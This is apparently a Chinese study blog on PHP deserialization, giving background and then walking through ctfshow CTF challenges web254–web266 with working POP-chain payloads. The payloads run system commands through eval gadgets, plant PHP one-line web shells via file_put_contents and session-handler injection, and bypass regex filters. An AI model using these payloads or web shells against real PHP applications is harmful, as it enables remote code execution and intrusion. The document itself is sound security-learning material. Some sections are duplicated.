反序列化的学习
参考文章:
https://www.freebuf.com/articles/web/276624.html
https://segmentfault.com/a/1190000038311368
https://juejin.cn/post/7064942360106369054
1.漏洞简介
1.序列化:把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程。例如将内存中的对象转换为二进制数据流或文件,在网络传输过程中,可以是字节或是XML等格式。
2.反序列化:把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程。例如将二进制数据流或文件加载到内存中还原为对象。
对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息“复刻”出一个和原来一模一样的对象。
当远程服务接受不可信的数据并进行反序列化且当前环境中存在可利用的类时,就认为存在反序列化漏洞。
3.序列化的作用:在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。
2.漏洞成因
在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的。
3.漏洞原理
在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象,将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。在Java中没有魔术方法,但是有反射(reflection)机制:在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行。
4.漏洞可能出现的位置
1.解析认证token、session的位置
2.将序列化的对象存储到磁盘文件或存入数据库后反序列化时的位置,如读取json文件,xml文件等
3.将对象序列化后在网络中传输,如传输json数据,xml数据等
4.参数传递给程序
5.使用RMI协议,被广泛使用的RMI协议完全基于序列化
6.使用了不安全的框架或基础类库,如JMX 、Fastjson和Jackson等
7.定义协议用来接收与发送原始的java对象
5.常用的魔术方法
php
1.__sleep()//在对象被序列化之前运行
2.__wakeup()//将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
3.__construct()//当对象被创建时,会触发,一般用于初始化
4.__destruct()//对象被销毁时触发
5.__toString()://当一个对象被当作字符串使用时触发
6.__call()//在对象上下文中调用不可访问的方法时触发
7.__callStatic()//在静态上下文中调用不可访问的方法时触发
8.__get()//获得一个类的成员变量时调用,用于从不可访问的属性读取数据
9.__set()//用于将数据写入不可访问的属性
10.__isset()//在不可访问的属性上调用isset()或empty()触发
11.__unset()//在不可访问的属性上使用__unset()时触发12.
12.__tostring()//把类当作字符串使用时触发13.
13.__invoke()//当脚本尝试将对象调用为函数时触发
ctfshow反序列化模块
1.web254(PHP的session反序列化漏洞)
源代码
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
代码使用了GET进行传参,通过代码不难得到,只要将账号密码用GET方法传入即可
?username=xxxxxx&password=xxxxxx
2.web255
源代码
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
//$user 是通过反序列化 $_COOKIE['user'] 获取得到的。
//根据代码中的 unserialize 函数,我们可以知道 $_COOKIE['user'] 中存储的是一个序列化后的对象。
//而这个对象是由 ctfShowUser 类的对象序列化得到的。
//因此,可以推断出 $user 是 ctfShowUser 类的对象实例
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
因为
$user = unserialize($_COOKIE['user']);
和if($user->login($username,$password))
所以我们需要让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是true才能是flag,
构造pop链
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a=serialize(new ctfShowUser);
使用该代码查看序列化
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser;
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));
echo "\n";
进行序列化后
使用url编码后的值传入cookie
得到flag
3.web256
这里需要让用户名和密码不一样
<?php
class ctfShowUser
{
public $username='xxxxxx';
public $password='111';
public $isVip=true;
}
?>
构建pop链
<?php
class ctfShowUser
{
public $username='xxxxxx';
public $password='111';
public $isVip=true;
}
$a = new ctfShowUser();
echo serialize($a);
echo urlencode(serialize($a));
?>
用这串代码得到序列化后的数据
使用url编码后的值传入cookie
4.web257
源代码
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct()
//当对象被创建时,会触发进行初始化
{
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct()
//对象被销毁时触发
{
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
?>
构造pop链(长的)
<?php
class ctfShowUser{
private $username='a';
private $password='b';
private $isVip=false;
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='a';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='system("tac flag.php");';
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
构造pop链(短的)
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='system("tac f*");';
public function getInfo(){
eval($this->code);
}
}
$a = serialize(new ctfShowUser());
echo urlencode($a);
?>
构造pop链(最简)
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("tac flag.php");';
}
echo urlencode(serialize(new ctfShowUser));
?>
这里试了一下,只能用tac,不能用cat
注意:如果你注入的类名和源代码中的类名一致,那么你可以调用源代码中该类下定义的函数
个人看法:源代码中的backDoor类已经把“从这入手”写在脸上了,其中有eval函数,执行的是backdoor这个类中的code类型,所以只要将恶意代码赋值给code即可,而这里最简单的就是利用__construct来执行赋值的操作,故构建以上pop链
5.web258(正则表达式绕过)
源代码
代码审计
preg_match() 是 PHP 中用于进行正则表达式匹配的函数。
它的语法是: preg_match($pattern, $subject, $matches)
,其中:
$pattern
是一个字符串,表示正则表达式的模式;$subject
是一个字符串,表示要匹配的目标字符串;$matches
是一个可选的数组,用于存储匹配结果。(非必须,preg_match可用在条件判断语句中)
该函数会在 $subject
中搜索与 $pattern
匹配的字符串,并将匹配的结果存储到 $matches
数组中。如果匹配成功,函数返回 1,否则返回 0。
正则表达式
- 字符:正则表达式中的基本单位,表示一个字符或一组字符。
- 字符集:用方括号 [] 表示,表示匹配方括号中的任意一个字符,例如 [abc] 表示匹配字符 a、b 或 c。
- 元字符:具有特殊意义的字符,如 .、*、+、?、| 等。
- 量词:用于匹配指定数量的字符,如 * 表示匹配 0 次或多次,+ 表示匹配 1 次或多次,? 表示匹配 0 次或 1 次,{n} 表示匹配 n 次,{n,m} 表示匹配 n 次到 m 次。
- 分组:用圆括号 () 表示,可以将多个字符视为一个整体进行匹配。
- 转义字符:用 \ 表示,用于将具有特殊意义的字符转义成普通字符。
本题中
/[oc]:\d+:/i
- 斜杠(/)是正则表达式的定界符,用于表示正则表达式的开始和结束。
- [oc] 表示字符集,匹配 o 或 c。
- : 表示匹配一个冒号字符。
- \d+ 表示匹配一个或多个数字字符。
- : 表示匹配一个冒号字符。
- i 是修饰符,表示进行不区分大小写的匹配。
因此,这个正则表达式可以匹配类似于 “o:123:”、“c:456:” 这样的字符串。
序列化中没有单独的 “c” 类型标识符,故绕过o即可
而这样的字符串多出现在序列化后的内容里
i
表示整数,如i:123;
d
表示双精度浮点数,如d:3.1415926;
b
表示布尔值,如b:1;
a
表示数组,如a:2:{i:0;s:5:"apple";i:1;s:6:"banana";}
N
表示空值,如N;
O
表示对象(类实例),如O:8:"stdClass":0:{}
- s 表示字符串,如s:5:“hello”;
所以本题的思路就是绕过正则表达式
绕过正则 /[oc]:\d+:/i
, 其实就是 C:数字
或 O:数字
不连续,这里只需让 O:11
不连续即可,比如 O:+11
或者是 冒号后加空格
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("tac flag.php");';
}
echo serialize(new ctfShowUser);
echo urlencode(serialize(new ctfShowUser))
?>
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code="system('tac f*');";
public function getInfo(){
eval($this->code);
}
}
echo serialize(new ctfShowUser);
7web260(简单正则表达式的利用)
源代码
本官要求在序列化后的”ctfshow“里面存在/ctfshow_i_love_36D/
所以直接将一个含有目标语句的类发送到url中即可
8web261
源代码
<?php
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p)
//对象被创建实例时触发
{
$this->username=$u;
$this->password=$p;
}
public function __wakeup()
//反序列化之后立即调用
{
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke()
//当脚本尝试将对象调用为函数时触发
{
eval($this->code);
}
public function __sleep()
//对象被序列化之前运行
{
$this->username='';
$this->password='';
}
public function __unserialize($data)
//调用了unserialize函数之后触发
{
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
注意:
如果类中同时定义了
__unserialize()
和__wakeup()
两个魔术方法,则只有__unserialize()
方法会生效,__wakeup() 方法会被忽略。
当反序列化时会进入__unserialize
中 而且也没有什么方法可以进入到__invoke中,所以无法利用危险函数eval 所以直接就朝着写文件搞就可以了
只要满足code0x36d(877)就可以了,而code是username和password拼接出来的,所以只要username=877.php password=shell就可以了。
877.php877是成立的(弱类型比较)
利用__construct函数把username和password写进去
构造姿势
<?php
class ctfshowvip{
public $username;
public $password;
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);
<?php
class ctfshowvip{
public $username = "877.php";
public $password = '<?php eval($_GET[c]); ?>';
}
echo urlencode(serialize(new ctfshowvip()));
9.web262(字符逃逸、cookie传参)
源码
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
注释里有message.php,打开是如下
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
代码审计
本关代码分两部分,message.php中含有flag,而初始文件是为了给message传cookie值的
用GET方式传入三个参数,创建一个message类的实例,创建实例后触发__construct魔术方法,将message中的三个类from,msg,to依次赋值,在实例msg中将fuck替换为loveu
然后设置一个cookie
setcookie('msg',base64_encode($umsg));
使用 PHP 的 setcookie()
函数来设置一个名为 msg
的 cookie,其值是通过 base64_encode()
函数对 $umsg
变量(message的实例)进行编码后的结果。
然后cookie值会传给message.php,得到,flag的条件是token值为admin,于是可以构建姿势
<?php
class message{
public $token='admin';
}
$msg = new message();
echo(base64_encode(serialize($msg)));
?>
将base64编码后的msg以cookie的方式传给message.php即可
这是第一种做法,另一种是利用正则替换做,理论上也是这关想让我们使用的方法
第一种做法是直接从message.php就入手了,第二种是从开头所给的php的传参中入手的
题中的token值为user,再看$umsg = str_replace('fuck', 'loveU', serialize($msg))
,将$msg序列化后,4个字符长度的fuck
替换成5个字符长度loveU
要让判断token=='admin'
,序列化的形式应该这样:O:7:"message":1:{s:5:"token";s:5:"admin";}
反序列化出来就是class message{ public $token='admin';}
s:5:"token";s:5:"admin";
一共有24个字符
加上闭合
";s:5:"token";s:5:"admin";}
一共有27个字符
构建payload
?f=yq1ng&m=yq1ng&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
在第一个页面进行传输即可
10.web263(php session反序列化漏洞)
PHP Session 序列化机制及其引发的安全漏洞 – Annevi’s Blog
[代码审计]PHP中session的存储方式(WP)_Y4tacker的博客-CSDN博客
ini.php中有这句话,表明它使用的是php引擎
其中session.serialize_handler是用来设置session的序列话引擎的
不同的引擎所对应的session的存储方式不相同。
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
session 的目录在 /var/lib/php/sessions 中,如果我们执行下面的代码
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);
在 php_serialize 引擎下,会生成一个session文件,session文件中存储的数据为:
a:1:{s:4:"name";s:6:"spoock";}
php 引擎下文件内容为:
name|s:6:"spoock";
php_binary 引擎下文件内容为:
names:6:"spoock";
PHP Session中的序列化危害:
如果在PHP反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样时,会导致数据无法正确的反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。如:
假如说有一个PHP文件:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
访问后会生成一个session文件,文件内容为:
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
但如果此时在其他页面使用php引擎来读取session文件时
访问该页面会输出:
object(A)#1 (1) {
["a"]=>
string(2) "xx"
}
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key,将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value,然后进行反序列化,最后就会得到A这个类。
这种由于序列化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用php引擎的页面时session去读session中的内容并反序列化导致漏洞触发,不需要任何输出
回到这道题:
我们要利用的肯定是inc.php文件中的file_put_contents函数
将一句话写进去
先说一下思路:
第一步
肯定是先看index.php文件(这个文件用的是php_serialize引擎),先看这句话:
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
这句话肯定是不成立的,因为session里没有limti,所以这句话恒不成立(check.php中有相关的检测机制,但是并没有在文件头开启session_start)
所以会执行
$_SESSION['limit']=base64_decode($_COOKIE['limit']);
下面这一句话:$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
只是对$_COOKIE['limit'])进行覆盖,不用管
所以我们需要传入经过base64加密的limit的cookie值
再看check.php文件:
require_once 'inc/inc.php';
他会调用inc.php中的ini_set('session.serialize_handler', 'php');
所以check.php用的是php引擎
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
需要get传入u变量和pass变量
最后看inc.php文件:
该文件用的是php引擎
这里面有一个User类(class User),就这一个类,肯定是要用的
最重要的是,要利用file_put_contents()函数
注意:传入一句话后,访问时要加上log-头
构造姿势
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$user = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo serialize($user);
echo("\n");
echo base64_encode('|'.serialize($user));
output:
O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:6:"status";N;}
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
具体实操:
先访问index.php,修改limit的cookie为
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
execute
写进去之后,访问check.php?u=123&pass=123
execute
最后访问log-1.php,成功rce
post;
1=system('tac f*.php');
11.web264(字符逃逸、session传参)
PHP 的 session
是通过 Cookie 里的 PHPSESSID
获取的(,所以要记录下来,然后在 message.php
里带上。
记得将msg传个值
web265(变量引用赋值)
本关要求满足login函数,满足条件为token===password
token的值是个随机数,让password成为token的引用即可
构建姿势
<?php
class ctfshowAdmin{
public $token;
public $password;
}
$admin = new ctfshowAdmin();
$admin->password = &$admin->token;
echo(urlencode(serialize($admin)));
?>
$admin->password = &$admin->token;
这行代码是将 $admin->token
的引用赋值给 $admin->password
,也就是说 $admin->password
和 $admin->token
指向了同一个内存地址。这意味着,如果修改了 $admin->token
的值,那么 $admin->password
的值也会被修改,反之亦然。这种操作称为引用赋值。
需要注意的是,如果 $admin->password
本身已经有值了,那么这个值会被覆盖,因为 $admin->password
现在指向了 $admin->token
所在的内存地址,之前的值就无法再访问到了
成功rce
post;
1=system('tac f*.php');
11.web264(字符逃逸、session传参)
PHP 的 session
是通过 Cookie 里的 PHPSESSID
获取的(,所以要记录下来,然后在 message.php
里带上。
记得将msg传个值
12.web265(变量引用赋值)
本关要求满足login函数,满足条件为token===password
[外链图片转存中…(img-o4KaSnaK-1678970020276)]
token的值是个随机数,让password成为token的引用即可
构建姿势
<?php
class ctfshowAdmin{
public $token;
public $password;
}
$admin = new ctfshowAdmin();
$admin->password = &$admin->token;
echo(urlencode(serialize($admin)));
?>
$admin->password = &$admin->token;
这行代码是将 $admin->token
的引用赋值给 $admin->password
,也就是说 $admin->password
和 $admin->token
指向了同一个内存地址。这意味着,如果修改了 $admin->token
的值,那么 $admin->password
的值也会被修改,反之亦然。这种操作称为引用赋值。
需要注意的是,如果 $admin->password
本身已经有值了,那么这个值会被覆盖,因为 $admin->password
现在指向了 $admin->token
所在的内存地址,之前的值就无法再访问到了
[外链图片转存中…(img-YI3bFGIv-1678970020277)]
13.web266(破坏反序列化结构)
源代码
<?php
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
本题主要绕过异常,使其正常执行__destruct即可
不破坏类名,对里面的结构进行破坏,虽然抛出异常,但是还是会执行销毁方法
所以直接post传入O:7:"ctfshow":2;{}
即可,hackbar进行post传参时只能进行”admin=1“类似的传参,故抓包进行传参